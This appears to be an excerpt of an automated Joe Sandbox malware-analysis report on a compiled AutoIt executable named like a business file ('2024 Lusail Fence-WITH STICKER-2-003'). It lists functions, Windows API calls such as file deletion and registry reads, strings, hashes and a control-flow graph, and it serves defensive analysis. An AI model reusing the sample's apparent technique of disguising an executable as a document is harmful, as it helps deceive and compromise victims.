                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                • String ID: SCRIPT
                                                • API String ID: 3051347437-3967369404
                                                • Opcode ID: 8dcb61718278797602660b5f66be9624af4f9b77c343b42e9542615749ab931a
                                                • Instruction ID: 0230329b93db7167e74a988a21528d34a1ea8da5092c2504391bcddd0fc62808
                                                • Opcode Fuzzy Hash: 8dcb61718278797602660b5f66be9624af4f9b77c343b42e9542615749ab931a
                                                • Instruction Fuzzy Hash: 5A119A74200700AFD7319B66EC48F677BBDEBC9B12F248168F406A6660DB62E8448670
                                                Function 00D8E800 Relevance: 7.4, Strings: 5, Instructions: 1102COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: Dt$Dt$Dt$Dt$Variable must be of type 'Object'.
                                                • API String ID: 0-3952547859
                                                • Opcode ID: 565aa8e11a92cd474ad043c3320f3f50d76047fb5a23da8785a1cf3a63f47804
                                                • Instruction ID: ecf5fed3d2fb038ddd977dd4641aaac48d8bd8fc15a7fe07c716d6a8df2ab3a0
                                                • Opcode Fuzzy Hash: 565aa8e11a92cd474ad043c3320f3f50d76047fb5a23da8785a1cf3a63f47804
                                                • Instruction Fuzzy Hash: 7BA29D74A04216CFCB24EF58C480AAEB7B1FF49314F288069E956AB351D771ED46CFA1
                                                Function 00DE4696 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetFileAttributesW.KERNELBASE(?,00DBE7C1), ref: 00DE46A6
                                                • FindFirstFileW.KERNELBASE(?,?), ref: 00DE46B7
                                                • FindClose.KERNEL32(00000000), ref: 00DE46C7
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: FileFind$AttributesCloseFirst
                                                • String ID:
                                                • API String ID: 48322524-0
                                                • Opcode ID: c550376bf1ec393e32d7ada2dfa5a6002d6c66ae36d8c200921f115ac0e99c8a
                                                • Instruction ID: 2a20bd2ff03429a26bcf822690d690ba3ac1f85a323c3ba469a51f9805074c9e
                                                • Opcode Fuzzy Hash: c550376bf1ec393e32d7ada2dfa5a6002d6c66ae36d8c200921f115ac0e99c8a
                                                • Instruction Fuzzy Hash: 2EE0D8314104005F8220B779EC4D4EA775C9F06335F100719F935D14F0E7B0A9A485A5
                                                Function 00D90B30 Relevance: 64.3, APIs: 27, Strings: 9, Instructions: 1300windowsleeptimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00D90BBB
                                                • timeGetTime.WINMM ref: 00D90E76
                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00D90FB3
                                                • TranslateMessage.USER32(?), ref: 00D90FC7
                                                • DispatchMessageW.USER32(?), ref: 00D90FD5
                                                • Sleep.KERNEL32(0000000A), ref: 00D90FDF
                                                • LockWindowUpdate.USER32(00000000,?,?), ref: 00D9105A
                                                • DestroyWindow.USER32 ref: 00D91066
                                                • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D91080
                                                • Sleep.KERNEL32(0000000A,?,?), ref: 00DC52AD
                                                • TranslateMessage.USER32(?), ref: 00DC608A
                                                • DispatchMessageW.USER32(?), ref: 00DC6098
                                                • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DC60AC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Message$DispatchPeekSleepTranslateWindow$DestroyLockTimeUpdatetime
                                                • String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$pr$pr$pr$pr
                                                • API String ID: 4003667617-1825247661
                                                • Opcode ID: f112014551067e54a37a103ec936e821c7e3f4bd42632d53239a55e44349d10b
                                                • Instruction ID: 84d1732fccbb24676cc8c9add9953e28eb23043bc794831b46f9348ca161bb0e
                                                • Opcode Fuzzy Hash: f112014551067e54a37a103ec936e821c7e3f4bd42632d53239a55e44349d10b
                                                • Instruction Fuzzy Hash: 08B29F706087429FDB24DF24D884F6ABBE4FF85304F18491DE49A97291DB71E885CBB2
                                                Function 00DE93DF Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                  • Part of subcall function 00DE91E9: __time64.LIBCMT ref: 00DE91F3
                                                  • Part of subcall function 00D85045: _fseek.LIBCMT ref: 00D8505D
                                                • __wsplitpath.LIBCMT ref: 00DE94BE
                                                  • Part of subcall function 00DA432E: __wsplitpath_helper.LIBCMT ref: 00DA436E
                                                • _wcscpy.LIBCMT ref: 00DE94D1
                                                • _wcscat.LIBCMT ref: 00DE94E4
                                                • __wsplitpath.LIBCMT ref: 00DE9509
                                                • _wcscat.LIBCMT ref: 00DE951F
                                                • _wcscat.LIBCMT ref: 00DE9532
                                                  • Part of subcall function 00DE922F: _memmove.LIBCMT ref: 00DE9268
                                                  • Part of subcall function 00DE922F: _memmove.LIBCMT ref: 00DE9277
                                                • _wcscmp.LIBCMT ref: 00DE9479
                                                  • Part of subcall function 00DE99BE: _wcscmp.LIBCMT ref: 00DE9AAE
                                                  • Part of subcall function 00DE99BE: _wcscmp.LIBCMT ref: 00DE9AC1
                                                • DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00DE96DC
                                                • _wcsncpy.LIBCMT ref: 00DE974F
                                                • DeleteFileW.KERNEL32(?,?), ref: 00DE9785
                                                • CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00DE979B
                                                • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00DE97AC
                                                • DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00DE97BE
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
                                                • String ID:
                                                • API String ID: 1500180987-0
                                                • Opcode ID: 8f553a4e1b1dc7cca4bb5207873db3fa1ec46dadd798d768b981d6ddfb8dec42
                                                • Instruction ID: 1485999b8a321fa0ed7af761a13f1f18dc214acca6c560de5fa084d5007212d9
                                                • Opcode Fuzzy Hash: 8f553a4e1b1dc7cca4bb5207873db3fa1ec46dadd798d768b981d6ddfb8dec42
                                                • Instruction Fuzzy Hash: E9C13BB1D01219AECF21EF95CC95ADEB7BDEF45300F0040AAF609E6151EB709A848F75
                                                Function 00D83015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73windowregistryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • GetSysColorBrush.USER32(0000000F), ref: 00D83074
                                                • RegisterClassExW.USER32(00000030), ref: 00D8309E
                                                • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D830AF
                                                • InitCommonControlsEx.COMCTL32(?), ref: 00D830CC
                                                • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00D830DC
                                                • LoadIconW.USER32(000000A9), ref: 00D830F2
                                                • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00D83101
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                • API String ID: 2914291525-1005189915
                                                • Opcode ID: 312b9cb34c4903256f81b397892b51128bb259ecea602157408058c02893797e
                                                • Instruction ID: a1164237814ae2c79d4c48538de427dccb3b3aaf1901796e439b4889c37ac5cb
                                                • Opcode Fuzzy Hash: 312b9cb34c4903256f81b397892b51128bb259ecea602157408058c02893797e
                                                • Instruction Fuzzy Hash: 7C3167B5841309EFDB50CFA5E885AC9BBF0FB0A310F14452AE540F62A0D3B6059ACF92
                                                Function 00D83041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54windowregistryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • GetSysColorBrush.USER32(0000000F), ref: 00D83074
                                                • RegisterClassExW.USER32(00000030), ref: 00D8309E
                                                • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D830AF
                                                • InitCommonControlsEx.COMCTL32(?), ref: 00D830CC
                                                • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00D830DC
                                                • LoadIconW.USER32(000000A9), ref: 00D830F2
                                                • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00D83101
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                • API String ID: 2914291525-1005189915
                                                • Opcode ID: 38004fc0fe59912d283879138dec3119a50083eac2cd68da5bccaf2c797ad975
                                                • Instruction ID: 2532cb0650f210f0928569b247ac22cd7d9a1cb151f794cd7cd3e8d2b983a19d
                                                • Opcode Fuzzy Hash: 38004fc0fe59912d283879138dec3119a50083eac2cd68da5bccaf2c797ad975
                                                • Instruction Fuzzy Hash: 5921C7B5910318AFDB10DFA6EC49B9DBBF4FB0E700F00412AF510B62A0D7B245998F96
                                                Function 00D871EB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                  • Part of subcall function 00D84864: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00E462F8,?,00D837C0,?), ref: 00D84882
                                                  • Part of subcall function 00DA074F: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00D872C5), ref: 00DA0771
                                                • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00D87308
                                                • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00DBECF1
                                                • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00DBED32
                                                • RegCloseKey.ADVAPI32(?), ref: 00DBED70
                                                • _wcscat.LIBCMT ref: 00DBEDC9
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
                                                • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                                • API String ID: 2673923337-2727554177
                                                • Opcode ID: a1a77144f8740730ad62584ed645286be59cf9c31263456c5d2c76ebfcc0639e
                                                • Instruction ID: 9f3d13327c7ae035f6a60a149a3946b130bda5e6abbec6e70e61e895d9b04de3
                                                • Opcode Fuzzy Hash: a1a77144f8740730ad62584ed645286be59cf9c31263456c5d2c76ebfcc0639e
                                                • Instruction Fuzzy Hash: 8F714BB55083019EC314EF66EC8189BBBE8FF96740B54492EF485A31B0DBB0D949CBB5
                                                Function 00D83633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151windowtimeregistryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 760 d83633-d83681 762 d836e1-d836e3 760->762 763 d83683-d83686 760->763 762->763 764 d836e5 762->764 765 d83688-d8368f 763->765 766 d836e7 763->766 767 d836ca-d836d2 DefWindowProcW 764->767 770 d8375d-d83765 PostQuitMessage 765->770 771 d83695-d8369a 765->771 768 d836ed-d836f0 766->768 769 dbd31c-dbd34a call d911d0 call d911f3 766->769 777 d836d8-d836de 767->777 772 d836f2-d836f3 768->772 773 d83715-d8373c SetTimer RegisterWindowMessageW 768->773 807 dbd34f-dbd356 769->807 778 d83711-d83713 770->778 774 dbd38f-dbd3a3 call de2a16 771->774 775 d836a0-d836a2 771->775 779 d836f9-d8370c KillTimer call d844cb call d83114 772->779 780 dbd2bf-dbd2c2 772->780 773->778 781 d8373e-d83749 CreatePopupMenu 773->781 774->778 801 dbd3a9 774->801 782 d836a8-d836ad 775->782 783 d83767-d83776 call d84531 775->783 778->777 779->778 787 dbd2f8-dbd317 MoveWindow 780->787 788 dbd2c4-dbd2c6 780->788 781->778 790 d836b3-d836b8 782->790 791 dbd374-dbd37b 782->791 783->778 787->778 795 dbd2c8-dbd2cb 788->795 796 dbd2e7-dbd2f3 SetFocus 788->796 799 d8374b-d8375b call d845df 790->799 800 d836be-d836c4 790->800 791->767 798 dbd381-dbd38a call dd817e 791->798 795->800 803 dbd2d1-dbd2e2 call d911d0 795->803 796->778 798->767 799->778 800->767 800->807 801->767 803->778 807->767 808 dbd35c-dbd36f call d844cb call d843db 807->808 808->767
                                                APIs
                                                • DefWindowProcW.USER32(?,?,?,?), ref: 00D836D2
                                                • KillTimer.USER32(?,00000001), ref: 00D836FC
                                                • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00D8371F
                                                • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D8372A
                                                • CreatePopupMenu.USER32 ref: 00D8373E
                                                • PostQuitMessage.USER32(00000000), ref: 00D8375F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                • String ID: TaskbarCreated$%
                                                • API String ID: 129472671-3835587964
                                                • Opcode ID: cfdece07f2c2de9d70a7e4de35002f2481c5d1dc5ea3766c4066017d2d4cd209
                                                • Instruction ID: 36f43697a543dc317404eb44463679e0ac005d74993cae13333d64ff2101141a
                                                • Opcode Fuzzy Hash: cfdece07f2c2de9d70a7e4de35002f2481c5d1dc5ea3766c4066017d2d4cd209
                                                • Instruction Fuzzy Hash: 3E4167B1200105BFDF247F6CEC0ABBD3755EB06B00F180529F506A22B1EAA1DE599373
                                                Function 00D83A58 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71windowregistryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • GetSysColorBrush.USER32(0000000F), ref: 00D83A62
                                                • LoadCursorW.USER32(00000000,00007F00), ref: 00D83A71
                                                • LoadIconW.USER32(00000063), ref: 00D83A88
                                                • LoadIconW.USER32(000000A4), ref: 00D83A9A
                                                • LoadIconW.USER32(000000A2), ref: 00D83AAC
                                                • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00D83AD2
                                                • RegisterClassExW.USER32(?), ref: 00D83B28
                                                  • Part of subcall function 00D83041: GetSysColorBrush.USER32(0000000F), ref: 00D83074
                                                  • Part of subcall function 00D83041: RegisterClassExW.USER32(00000030), ref: 00D8309E
                                                  • Part of subcall function 00D83041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D830AF
                                                  • Part of subcall function 00D83041: InitCommonControlsEx.COMCTL32(?), ref: 00D830CC
                                                  • Part of subcall function 00D83041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00D830DC
                                                  • Part of subcall function 00D83041: LoadIconW.USER32(000000A9), ref: 00D830F2
                                                  • Part of subcall function 00D83041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00D83101
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                • String ID: #$0$AutoIt v3
                                                • API String ID: 423443420-4155596026
                                                • Opcode ID: e6306e039d16ed2900f28d63082b4a2360d15d49496c1b54e6f9028faecd4b7e
                                                • Instruction ID: 536dfc6bb05959a96239d9fcef0bd7a806faa718f177f2abcd7f1c5ed0a2e3d6
                                                • Opcode Fuzzy Hash: e6306e039d16ed2900f28d63082b4a2360d15d49496c1b54e6f9028faecd4b7e
                                                • Instruction Fuzzy Hash: 28214B74910304BFEB109FA6EC09B9D7BB4FB0A711F00012AF504BA2B0D3F656598F9A
                                                Function 00D83778 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
                                                • String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW$b
                                                • API String ID: 1825951767-3834736419
                                                • Opcode ID: b8291ad8096680be5ec514c2d96d5b9cf3099c8530a48859a63d5cf17fc29cf6
                                                • Instruction ID: 213dc3e4dbb5b4060fd8857dd8c880e55f0fe3c5b8c25e5944b60de4078acbe0
                                                • Opcode Fuzzy Hash: b8291ad8096680be5ec514c2d96d5b9cf3099c8530a48859a63d5cf17fc29cf6
                                                • Instruction Fuzzy Hash: 33A15A71910229AACB04FBA0DC96AEEB7B8FF15700F540529F416B7191EF74AA09CB70
                                                Function 00D8F8CF Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168comCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                  • Part of subcall function 00DA03A2: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00DA03D3
                                                  • Part of subcall function 00DA03A2: MapVirtualKeyW.USER32(00000010,00000000), ref: 00DA03DB
                                                  • Part of subcall function 00DA03A2: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00DA03E6
                                                  • Part of subcall function 00DA03A2: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00DA03F1
                                                  • Part of subcall function 00DA03A2: MapVirtualKeyW.USER32(00000011,00000000), ref: 00DA03F9
                                                  • Part of subcall function 00DA03A2: MapVirtualKeyW.USER32(00000012,00000000), ref: 00DA0401
                                                  • Part of subcall function 00D96259: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00D8FA90), ref: 00D962B4
                                                • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00D8FB2D
                                                • OleInitialize.OLE32(00000000), ref: 00D8FBAA
                                                • CloseHandle.KERNEL32(00000000), ref: 00DC49F2
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                • String ID: <g$\d$%$c
                                                • API String ID: 1986988660-619945097
                                                • Opcode ID: bd5d68f8a484445f0447e80ab997623ee353999403d61ea309721be417e9eeae
                                                • Instruction ID: 07b74efa91398ed05fc9a91cbc9926b06ffbcdba54b256ee95f8d5ab912bb677
                                                • Opcode Fuzzy Hash: bd5d68f8a484445f0447e80ab997623ee353999403d61ea309721be417e9eeae
                                                • Instruction Fuzzy Hash: 0681BCB89013908FCB84EF2BE9556557AF4FB8B718310952AD028E7262EB35544ECF23
                                                Function 018C25C0 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
